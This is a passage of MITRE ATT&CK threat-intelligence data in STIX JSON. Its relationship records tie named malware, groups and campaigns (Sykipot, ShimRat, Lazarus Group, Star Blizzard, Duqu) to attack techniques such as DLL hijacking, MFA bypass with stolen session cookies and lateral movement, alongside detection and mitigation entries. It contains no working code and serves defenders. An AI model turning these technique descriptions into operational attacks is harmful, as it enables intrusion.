possible.","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.0.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4436ace7-a47d-4d18-afa1-4454432fba66","type":"relationship","created":"2020-01-30T14:24:35.602Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-30T14:24:35.602Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","target_ref":"attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4438ba64-0cd2-46e9-8a67-c685bf9b404c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"AlienVault Sykipot 2011","description":"Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.","url":"https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies"}],"modified":"2020-03-16T17:50:28.616Z","description":"[Sykipot](https://attack.mitre.org/software/S0018) may gather a list of running processes by running tasklist /v.(Citation: AlienVault Sykipot 2011)","relationship_type":"uses","source_ref":"malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4439e86a-de1d-4ea6-a856-858b799bcdc5","type":"relationship","created":"2020-05-12T21:56:33.013Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-27T23:35:41.356Z","description":"[ShimRat](https://attack.mitre.org/software/S0444) has hijacked the cryptbase.dll within migwiz.exe to escalate privileges. This prevented the User Access Control window from appearing.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"malware--5763217a-05b6-4edd-9bca-057e47b5e403","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--443ee76b-8fd4-4485-bdbb-4a562f348be0","type":"relationship","created":"2021-02-17T20:27:27.442Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM MegaCortex","url":"https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/","description":"Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."}],"modified":"2021-03-31T18:59:31.269Z","description":"[MegaCortex](https://attack.mitre.org/software/S0576) has used code signing certificates issued to fake companies to bypass security controls.(Citation: IBM MegaCortex)","relationship_type":"uses","source_ref":"malware--909617c3-6d87-4330-8f32-bd3af38c3b92","target_ref":"attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--44446a21-affe-4935-ba17-94e4cb521a25","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor for changes made to Windows Registry keys and/or values that may forge credential materials that can be used to gain access to web applications or Internet services.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--44468587-67b5-4c44-8c2b-ed2b4769f055","created":"2023-03-17T15:46:21.132Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T14:57:49.129Z","description":"For [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) gathered victim organization information to identify specific targets.(Citation: ClearSky Lazarus Aug 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--44494749-870a-4ca5-beee-85d88f78a693","created":"2024-03-11T19:06:01.585Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T15:01:08.777Z","description":"[ZIPLINE](https://attack.mitre.org/software/S1114) can communicate with C2 using a custom binary protocol.(Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"malware--d9765cbd-4c88-4805-ba98-4c6ccb56b864","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--444dc2e9-3f54-4ab9-b004-363ae1221373","type":"relationship","created":"2020-03-15T16:27:38.221Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-21T16:26:35.294Z","description":"Consider filtering DNS requests to unknown, untrusted, or known bad domains and resources. Resolving DNS requests with on-premise/proxy servers may also disrupt adversary attempts to conceal data within DNS packets. ","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--44533bc7-0368-4269-b465-7e08d3a8beea","type":"relationship","created":"2020-05-26T18:03:17.295Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Metamorfo Apr 2020","url":"https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767","description":"Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."},{"source_name":"FireEye Metamorfo Apr 2018","url":"https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html","description":"Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."},{"source_name":"ESET Casbaneiro Oct 2019","url":"https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/","description":"ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}],"modified":"2021-09-27T17:42:18.877Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has side-loaded its malicious DLL file.(Citation: Medium Metamorfo Apr 2020)(Citation: FireEye Metamorfo Apr 2018)(Citation: ESET Casbaneiro Oct 2019) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4454f45e-8dda-4914-9689-83ade769523d","created":"2024-08-13T19:34:58.485Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"},{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T19:40:28.644Z","description":"(Citation: CISA Iran Albanian Attacks September 2022)(Citation: Microsoft Albanian Government Attacks September 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"malware--8d8518db-0f52-4f3c-8017-01389a8522bb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--44577477-b599-46f0-84bf-7e0de773d848","type":"relationship","created":"2020-10-27T19:20:07.332Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BLINDINGCAN Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a","description":"US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."}],"modified":"2020-10-27T19:20:07.332Z","description":"[BLINDINGCAN](https://attack.mitre.org/software/S0520) has attempted to hide its payload by using legitimate file names such as \"iconcache.db\".(Citation: US-CERT BLINDINGCAN Aug 2020)","relationship_type":"uses","source_ref":"malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4458ca35-0285-408b-9059-62c36086fd0a","type":"relationship","created":"2020-05-05T18:47:47.353Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Imminent Unit42 Dec2019","url":"https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/","description":"Unit 42. (2019, December 2). Imminent Monitor – a RAT Down Under. Retrieved May 5, 2020."}],"modified":"2020-05-05T18:47:47.353Z","description":"[Imminent Monitor](https://attack.mitre.org/software/S0434) has a \"Process Watcher\" feature to monitor processes in case the client ever crashes or gets closed.(Citation: Imminent Unit42 Dec2019)","relationship_type":"uses","source_ref":"tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4459b6fe-e1d0-40cb-b6f1-efc0e4431442","created":"2023-03-26T20:10:23.958Z","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"},{"source_name":"Kaspersky ShadowPad Aug 2017","description":"Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:10:23.958Z","description":"[ShadowPad](https://attack.mitre.org/software/S0596) maintains a configuration block and virtual file system in the Registry.(Citation: Kaspersky ShadowPad Aug 2017)(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--445c926e-e0fb-4ac1-ba70-4ed45a68c592","created":"2022-06-01T20:44:30.777Z","x_mitre_version":"0.1","external_references":[{"source_name":"Forcepoint BITTER Pakistan Oct 2016","url":"https://www.forcepoint.com/blog/x-labs/bitter-targeted-attack-against-pakistan","description":"Dela Paz, R. (2016, October 21). BITTER: a targeted attack against Pakistan. Retrieved June 1, 2022."},{"source_name":"Cisco Talos Bitter Bangladesh May 2022","url":"https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html","description":"Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[BITTER](https://attack.mitre.org/groups/G1002) has attempted to lure victims into opening malicious attachments delivered via spearphishing.(Citation: Cisco Talos Bitter Bangladesh May 2022)(Citation: Forcepoint BITTER Pakistan Oct 2016)","modified":"2022-06-01T21:22:22.776Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--7f848c02-4d1e-4808-a4ae-4670681370a9","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--44671cd3-9bdd-4e9f-a7d1-a322d0abf659","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","source_name":"FireEye MuddyWater Mar 2018"}],"modified":"2019-04-22T22:36:53.049Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) can sleep for a given number of seconds.(Citation: FireEye MuddyWater Mar 2018)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4467fb1b-60fe-4e13-a32a-8c1f60a66782","type":"relationship","created":"2021-01-07T20:28:30.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JoeSecurity Egregor 2020","url":"https://www.joesandbox.com/analysis/318027/0/html","description":"Joe Security. (n.d.). Analysis Report fasm.dll. Retrieved January 6, 2021."}],"modified":"2021-01-07T20:28:30.072Z","description":"[Egregor](https://attack.mitre.org/software/S0554) contains functionality to query the local/system time.(Citation: JoeSecurity Egregor 2020)","relationship_type":"uses","source_ref":"malware--cc4c1287-9c86-4447-810c-744f3880ec37","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4469d943-1e9b-47a9-8e91-cc7883b918cb","type":"relationship","created":"2020-06-02T18:46:58.620Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 CARROTBAT January 2020","url":"https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/","description":"McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."}],"modified":"2020-06-10T14:55:06.358Z","description":"[SYSCON](https://attack.mitre.org/software/S0464) has the ability to execute commands through [cmd](https://attack.mitre.org/software/S0106) on a compromised host.(Citation: Unit 42 CARROTBAT January 2020)","relationship_type":"uses","source_ref":"malware--edf5aee2-9b1c-4252-8e64-25b12f14c8b3","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--446e3bf2-9a37-4d22-a7ca-ede547e5e16e","created":"2024-03-25T20:19:24.625Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Red Canary SocGholish March 2024","description":"Red Canary. (2024, March). Red Canary 2024 Threat Detection Report: SocGholish. Retrieved March 22, 2024.","url":"https://redcanary.com/threat-detection-report/threats/socgholish/"},{"source_name":"Secureworks Gold Prelude Profile","description":"Secureworks. (n.d.). GOLD PRELUDE . Retrieved March 22, 2024.","url":"https://www.secureworks.com/research/threat-profiles/gold-prelude"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-26T18:52:17.880Z","description":"[SocGholish](https://attack.mitre.org/software/S1124) can download additional malware to infected hosts.(Citation: Red Canary SocGholish March 2024)(Citation: Secureworks Gold Prelude Profile)","relationship_type":"uses","source_ref":"malware--5911d2ca-64f6-49b3-b94f-29b5d185085c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--447f5271-30fc-4d12-8b60-b0af862b9b03","created":"2024-03-06T19:30:32.646Z","revoked":false,"external_references":[{"source_name":"Volexity Ivanti Zero-Day Exploitation January 2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-06T19:30:32.646Z","description":"[GLASSTOKEN](https://attack.mitre.org/software/S1117) can use PowerShell for command execution.(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)","relationship_type":"uses","source_ref":"malware--554e010d-726b-439d-9a1a-f60fff0cc109","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--44858dc2-c869-42a0-8f67-3ddd9660b538","type":"relationship","created":"2017-05-31T21:33:27.037Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2019-08-20T13:08:13.328Z","description":"(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"tool--2fab555f-7664-4623-b4e0-1675ae38190b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--44866cfd-7d8f-45f6-906b-5b4992aa69e0","type":"relationship","created":"2021-02-03T16:59:34.737Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DOJ Iran Indictments March 2018","url":"https://www.justice.gov/usao-sdny/press-release/file/1045781/download","description":"DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."},{"source_name":"Phish Labs Silent Librarian","url":"https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment","description":"Hassold, Crane. (2018, March 26). Silent Librarian: More to the Story of the Iranian Mabna Institute Indictment. Retrieved February 3, 2021."},{"source_name":"Secureworks COBALT DICKENS August 2018","url":"https://www.secureworks.com/blog/back-to-school-cobalt-dickens-targets-universities","description":"Counter Threat Unit Research Team. (2018, August 24). Back to School: COBALT DICKENS Targets Universities. Retrieved February 3, 2021."},{"source_name":"Proofpoint TA407 September 2019","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian","description":"Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021."},{"source_name":"Secureworks COBALT DICKENS September 2019","url":"https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again","description":"Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School…Again. Retrieved February 3, 2021."},{"source_name":"Malwarebytes Silent Librarian October 2020","url":"https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/","description":"Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021."}],"modified":"2021-02-04T14:49:40.477Z","description":"[Silent Librarian](https://attack.mitre.org/groups/G0122) has used links in e-mails to direct victims to credential harvesting websites designed to appear like the targeted organization's login page.(Citation: DOJ Iran Indictments March 2018)(Citation: Phish Labs Silent Librarian)(Citation: Secureworks COBALT DICKENS August 2018)(Citation: Proofpoint TA407 September 2019)(Citation: Secureworks COBALT DICKENS September 2019)(Citation: Malwarebytes Silent Librarian October 2020)","relationship_type":"uses","source_ref":"intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384","target_ref":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--448a35fc-fecf-4373-9888-30c37dd1d56a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf","description":"Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.","source_name":"Symantec W32.Duqu"}],"modified":"2019-04-24T23:18:53.288Z","description":"Adversaries can instruct [Duqu](https://attack.mitre.org/software/S0038) to spread laterally by copying itself to shares it has enumerated and for which it has obtained legitimate credentials (via keylogging or other means). The remote host is then infected by using the compromised credentials to schedule a task on remote machines that executes the malware.(Citation: Symantec W32.Duqu)","relationship_type":"uses","source_ref":"malware--68dca94f-c11d-421e-9287-7c501108e18c","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--448c477c-3a30-43eb-b9a2-e9ffc8dca984","created":"2024-06-14T20:14:15.696Z","revoked":false,"external_references":[{"source_name":"CISA Star Blizzard Advisory December 2023","description":"CISA, et al. (2023, December 7). Russian FSB Cyber Actor Star Blizzard Continues Worldwide Spear-phishing Campaigns. Retrieved June 13, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-341a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-14T20:14:15.696Z","description":"[Star Blizzard](https://attack.mitre.org/groups/G1033) has bypassed multi-factor authentication on victim email accounts by using session cookies stolen using EvilGinx.(Citation: CISA Star Blizzard Advisory December 2023)","relationship_type":"uses","source_ref":"intrusion-set--9b36c218-4d80-4ec6-a68d-cc2886bbe410","target_ref":"attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--448cab31-deb1-40d5-a7f6-848d0116c4b6","type":"relationship","created":"2022-03-26T03:47:58.950Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mythc Documentation","url":"https://docs.mythic-c2.net/","description":"Thomas, C. (n.d.). Mythc Documentation. Retrieved March 25, 2022."}],"modified":"2022-03-26T03:47:58.950Z","description":"[Mythic](https://attack.mitre.org/software/S0699) provides various transform functions to encode and/or randomize C2 data.(Citation: Mythc Documentation)\t","relationship_type":"uses","source_ref":"tool--d505fc8b-2e64-46eb-96d6-9ef7ffca5b66","target_ref":"attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--448cb735-65c8-4346-a97d-1ea31e9b6c11","type":"relationship","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.834Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective 